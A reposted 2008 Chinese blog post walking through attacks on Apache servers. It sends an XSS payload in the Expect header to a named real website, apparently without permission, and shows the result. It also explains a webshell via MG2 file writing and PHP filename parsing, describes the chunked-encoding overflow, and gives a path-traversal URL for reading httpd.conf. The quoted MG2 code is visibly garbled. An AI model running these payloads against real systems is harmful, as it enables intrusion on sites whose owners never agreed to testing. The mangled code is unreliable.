Web安全实践(9)攻击apache

简介:
作者:玄魂

 

 

 

系列导航http://www.cnblogs.com/xuanhun/archive/2008/10/25/1319523.html

安全技术区http://space.cnblogs.com/group/group_detail.aspx?gid=100566 

前言

   web安全实践系列主要是对《黑客大曝光——web应用安全机密与解决方案(第二版)》的内容做的实践研究和部分编程实现。所以如果您能完全理解那本书可以跳过本文章。


这次提供的漏洞都是平时积累来的,但是只有很少的我具体实际过,时间和精力有限,更多的技术上的东西还希望大家提供并讨论。

正文

 

9.1Expect跨站漏洞

Apache在接收Expect这个HTTP报头会直接输出报头的错误信息,错误信息的内容并没有被转义。这个漏洞本来以为会随着apathe的升级而消失,但是在网上随便找了几个php的服务器,发现很多并没有升级,仍然存在问题。

对网址http://safesurf.china.cn/data_form.php做了一个简单测试。发送请求为:

GET /data_form.php HTTP/1.1

Host: safesurf.china.cn

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn

Accept-Encoding: gzip,deflate

Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Expect: abcd

我在最后添加了一个Expect: abcd的请求。得到相应如下:

 

HTTP/1.x 417 Expectation Failed

Date: Wed, 12 Nov 2008 01:46:21 GMT

Server: Apache/1.3.29 (Unix) PHP/4.3.4

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=iso-8859-1

 

111208_0434_Web9apa1.png

我们可以看到错误信息中的"Expect:abcd",是我们提交的请求。这时候就该考虑是不是存在跨站的漏洞,继续测试。

发送请求(注意最后的Expect请求)

GET /data_form.php HTTP/1.1

Host: safesurf.china.cn

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn

Accept-Encoding: gzip,deflate

Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Expect: <script language="javascript">alert('hello')</script>

得到响应:

HTTP/1.x 417 Expectation Failed

Date: Wed, 12 Nov 2008 01:53:34 GMT

Server: Apache/1.3.29 (Unix) PHP/4.3.4

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=iso-8859-1

 

111208_0434_Web9apa2.png

证明该服务器是存在跨站漏洞的。对于跨站攻击我们以后会具体涉及,我也不是很清楚把具体的网址暴露出来是否合适?

9.2php文件名解析漏洞

以.php开头的文件名或者类似index.php.en,index.php.fr等都可以当做PHP解析。这是一个比较老的漏洞,援引网上的一篇文章做一下解释。

 

"MG2是在国外非常流行的一个PHP+HTML的图片管理程序,由于商业版被破解,程序流传甚广,
在google搜索关键字为"owered by MG2 v0.5.1"
最新版本存在着文件写入漏洞,可配和Apache漏洞直接得shell

includes/mg2_functions.php中addcomment()函数如下
function addcomment() {
REQUEST[filename]=REQUEST[′filename′]=this->charfix(REQUEST[filename]);REQUEST[′filename′]);_REQUEST['input'] = this>charfix(this−>charfix(_REQUEST['input']);
REQUEST[email]=REQUEST[′email′]=this->charfix(REQUEST[email]);REQUEST[′email′]);_REQUEST['name'] = this>charfix(this−>charfix(_REQUEST['name']);
REQUEST[input]=striptags(REQUEST[′input′]=striptags(_REQUEST['input'], "");
REQUEST[input]=strreplace("\n","",REQUEST[′input′]=strreplace("\n","",_REQUEST['input']);
REQUEST[input]=strreplace("\r","",REQUEST[′input′]=strreplace("\r","",_REQUEST['input']);
if (_REQUEST['input'] != "" &&_REQUEST['input'] != "" &&_REQUEST['name'] != "" && _REQUEST['email'] != "") {_REQUEST['email'] != "") {this->readcomments("pictures/" . REQUEST[filename].".comment");REQUEST[′filename′].".comment");comment_exists = this>select(this−>select(_REQUEST['input'],this>comments,3,1,0);this−>comments,3,1,0);comment_exists = this>select(this−>select(_REQUEST['name'],commentexists,1,1,0);commentexists,1,1,0);comment_exists = this>select(this−>select(_REQUEST['email'],commentexists,2,1,0);if(count(commentexists,2,1,0);if(count(comment_exists) == 0) {
this>comments[]=array(time(),this−>comments[]=array(time(),_REQUEST['name'], REQUEST[email],REQUEST[′email′],_REQUEST['input']);
this>writecomments(this−>writecomments(_REQUEST['filename'] . ".comment");
........

漏洞很明显,可以自定义comment的文件名,如果你自定义的filename为".php",那么程序就会在
图片根目录下生成一个".php.comment"的文件,由于Apache的漏洞,该程序被当做php文件解析,webshell就到手了,
写了个利用程序如下:

提交后就会在图片根目录下生成一个含一句话木马的文件".php.comment"
[url=http://localhost/mg2/pictures/.php.comment?cmd=phpinfo]http://localhost/mg2/pictures/.php.comment?cmd=phpinfo[/url]();"

 

9.3分块(chunked)编码远程溢出漏洞    

这是在02年左右出现的一个漏洞,但是现在看来该漏洞仍然存在并危害着很多网站。

Apache在处理以分块(chunked)方式传输数据的HTTP请求时存在设计漏洞,远程攻击者可能利用此漏洞在某些Apache服务器上以Web服务器进程的权限执行任意指令或进行拒绝服务攻击。 
分块编码(chunked encoding)传输方式是HTTP 1.1协议中定义的Web用户向服务器提交数据的一种方法,当服务器收到 chunked编码方式的数据时会分配一个缓冲区存放之,如果提交的数据大小未知,客户端会以一个协商好的分块大小向服务器提交数据。 
Apache服务器缺省也提供了对分块编码(chunked encoding)支持。Apache使用了一个有符号变量储存分块长度,同时分配 了一个固定大小的堆栈缓冲区来储存分块数据。出于安全考虑,在将分块数据拷贝到缓冲区之前,Apache会对分块长度进行检查,如果分块长度大于缓冲区长 度,Apache将最多只拷贝缓冲区长度的数据,否则,则根据分块长度进行数据拷贝。然而在进行上述检查时,没有将分块长度转换为无符号型进行比较,因 此,如果攻击者将分块长度设置成一个负值,就会绕过上述安全检查,Apache会将一个超长(至少>0x80000000字节)的分块数据拷贝到缓 冲区中,这会造成一个缓冲区溢出。 
对于Apache 2.0到2.0.36(含2.0.36),尽管存在同样的问题代码,但它会检测错误出现的条件并使子进程退出。 
根据不同因素,包括受影响系统支持的线程模式的影响,本漏洞可导致各种操作系统下运行的Apache Web服务器拒绝服务。

 

The Retina Apache Chunked Scanner 是 eEye 公司开发的一款Apache 分块编码缓冲区溢出漏洞扫描软件,可同时扫描254个IP,如果它发现存在漏洞的IP,就会记录下来,系统管理员只要通过双击该IP,就可以获得该漏洞的修补方法.。

111208_0434_Web9apa3.png

网上还可以找到关于这个漏洞的溢出程序和源代码,在Google中搜索"Apache Exploit",可以得到更多的信息。有了这两样东西,问题就简单多了。

另外需要说明的是如果我们使用这个扫描程序的时候不选择"show only。。。"那个选项的话,该软件可以告诉我们网段内的所有web服务器类型。

9.3 Php 3文件外泄漏洞

发现在使用了 PHP3 脚本的 Apache Web Server 中,存在一个安全漏洞。 
通过 php 发送一个指定的 URL,就能使一个用户获得一个目标机上已知文件的读权限。成功的利用该漏洞,将导致敏感信息的泄露,为进一步的攻击提供了方便。 
例如:(Windows 2000 + Apache 1.3.6 + PHP3) 
提供下列 URL: 
http://taget/index.php3.%5c../..%5cconf/httpd.conf 
你将可以查看 httpd.conf 文件。

下面这些漏洞本人没做过任何实际操作,所以也无权发表心得,给出参考,希望大家能提供相关的实践经验和资料。

9.4错误日志转义序列注入漏洞

详见http://blog.ixpub.net/html/95/13151495-338483.html

9.5 MIME Boundary远程信息泄露漏洞

详见http://netsecurity.51cto.com/art/200508/5931.htm

9.6 ETag头远程信息泄露漏洞

详见http://netsecurity.51cto.com/art/200508/5931.htm

9.7 Mod_Auth_Any远程命令执行漏洞

详见http://www.nsfocus.net/vulndb/4774

9.8 mod_proxy_http模块中间响应拒绝服务漏洞

详见http://secunia.com/advisories/30621/

 

 

本文转自悬魂博客园博客,原文链接:http://www.cnblogs.com/xuanhun/archive/2008/11/12/1331945.html,如需转载请自行联系原作者

相关文章
|
30天前
|
安全
网易web安全工程师进阶版课程
《Web安全工程师(进阶)》是由“ i春秋学院联合网易安全部”出品,资深讲师团队通过精炼的教学内容、丰富的实际场景及综合项目实战,帮助学员纵向提升技能,横向拓宽视野,牢靠掌握Web安全工程师核心知识,成为安全领域高精尖人才。 ## 学习地址
23 6
网易web安全工程师进阶版课程
|
1月前
|
消息中间件 存储 大数据
快手基于Apache Hudi的实践
快手基于Apache Hudi的实践
21 0
|
1天前
|
SQL 存储 前端开发
< 今日份知识点:web常见的攻击方式(网络攻击)有哪些?如何预防?如何防御呢 ? >
网络安全威胁日益严重,2017年的永恒之蓝勒索病毒事件揭示了网络攻击的破坏力。为了防御Web攻击,了解攻击类型至关重要。Web攻击包括XSS、CSRF和SQL注入等,其中XSS分为存储型、反射型和DOM型,允许攻击者通过注入恶意代码窃取用户信息。防止XSS攻击的方法包括输入验证、内容转义和避免浏览器执行恶意代码。CSRF攻击则伪装成用户执行操作,防范措施包括同源策略和CSRF Token验证。SQL注入则通过恶意SQL语句获取数据,预防手段包括输入验证和使用预编译语句。面对网络威胁,加强安全意识和实施防御策略是必要的。
|
12天前
|
云安全 数据采集 安全
阿里云安全产品,Web应用防火墙与云防火墙产品各自作用简介
阿里云提供两种关键安全产品:Web应用防火墙和云防火墙。Web应用防火墙专注网站安全,防护Web攻击、CC攻击和Bot防御,具备流量管理、大数据防御能力和简易部署。云防火墙是SaaS化的网络边界防护,管理南北向和东西向流量,提供访问控制、入侵防御和流量可视化。两者结合可实现全面的网络和应用安全。
阿里云安全产品,Web应用防火墙与云防火墙产品各自作用简介
|
13天前
|
SQL 安全 PHP
CTF--Web安全--SQL注入之Post-Union注入
CTF--Web安全--SQL注入之Post-Union注入
|
30天前
|
机器学习/深度学习 前端开发 算法
利用机器学习优化Web前端性能的探索与实践
本文将介绍如何利用机器学习技术来优化Web前端性能,探讨机器学习在前端开发中的应用,以及通过实际案例展示机器学习算法对前端性能优化的效果。通过结合前端技术和机器学习,提升Web应用的用户体验和性能表现。
|
30天前
|
安全 测试技术 网络安全
Web安全基础入门+信息收集篇
学习信息收集,针对域名信息,解析信息,网站信息,服务器信息等;学习端口扫描,针对端口进行服务探针,理解服务及端口对应关系;学习WEB扫描,主要针对敏感文件,安全漏洞,子域名信息等;学习信息收集方法及实现安全测试,能独立理解WEB架构框架,树立渗透测试开展思路!
18 0
Web安全基础入门+信息收集篇
|
1月前
|
监控 前端开发 JavaScript
构建高性能Web应用:前端性能优化的关键策略与实践
本文将深入探讨前端性能优化的关键策略与实践,从资源加载、渲染优化、代码压缩等多个方面提供实用的优化建议。通过对前端性能优化的深入剖析,帮助开发者全面提升Web应用的用户体验和性能表现。
|
1月前
|
安全 数据库 开发工具
Django实战:从零到一构建安全高效的Web应用
Django实战:从零到一构建安全高效的Web应用
48 0
|
1月前
|
弹性计算 算法 应用服务中间件
倚天使用|Nginx性能高27%,性价比1.5倍,基于阿里云倚天ECS的Web server实践
倚天710构建的ECS产品,基于云原生独立物理核、大cache,结合CIPU新架构,倚天ECS在Nginx场景下,具备强大的性能优势。相对典型x86,Http长连接场景性能收益27%,开启gzip压缩时性能收益达到74%。 同时阿里云G8y实例售价比G7实例低23%,是Web Server最佳选择。

推荐镜像

更多